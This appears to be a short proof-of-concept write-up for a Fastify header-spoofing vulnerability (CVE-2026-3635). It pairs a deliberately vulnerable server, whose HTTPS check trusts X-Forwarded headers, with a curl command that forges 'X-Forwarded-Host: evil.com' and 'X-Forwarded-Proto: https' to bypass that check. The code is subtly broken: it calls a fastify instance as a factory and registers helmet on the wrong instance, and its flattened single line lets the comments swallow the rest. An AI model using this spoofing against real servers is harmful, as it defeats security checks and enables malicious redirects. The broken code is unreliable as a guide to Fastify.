CVE-2026-3635 Fastify请求头欺骗漏洞

// Vulnerable Fastify Server Configuration const fastify = require('fastify')({ logger: true }); // Configure trustProxy to trust only a specific subnet (Restrictive) // In a real scenario, this is intended to trust only the reverse proxy fastify.register(require('@fastify/helmet')); const server = fastify({ trustProxy: (ip) => ip === '10.0.0.1' // Restrictive trust function }); server.get('/', async (request, reply) => { // Vulnerable getters: read headers even from untrusted IPs const protocol = request.protocol; const host = request.host; // Security decision based on spoofed headers if (protocol !== 'https') { return { error: 'HTTPS required', detectedHost: host }; } return { message: 'Success', host: host, protocol: protocol }; }); const start = async () => { try { await server.listen({ port: 3000, host: '0.0.0.0' }); } catch (err) { server.log.error(err); process.exit(1); } }; start(); /* * Attack Scenario (Run from attacker machine): * Direct connection to Fastify, bypassing the trusted proxy. * Command: * curl -H "X-Forwarded-Host: evil.com" -H "X-Forwarded-Proto: https" http://<target-ip>:3000/ * * Result: * The server will treat the request as coming from 'evil.com' via HTTPS, * potentially bypassing security checks or redirecting to malicious URLs. */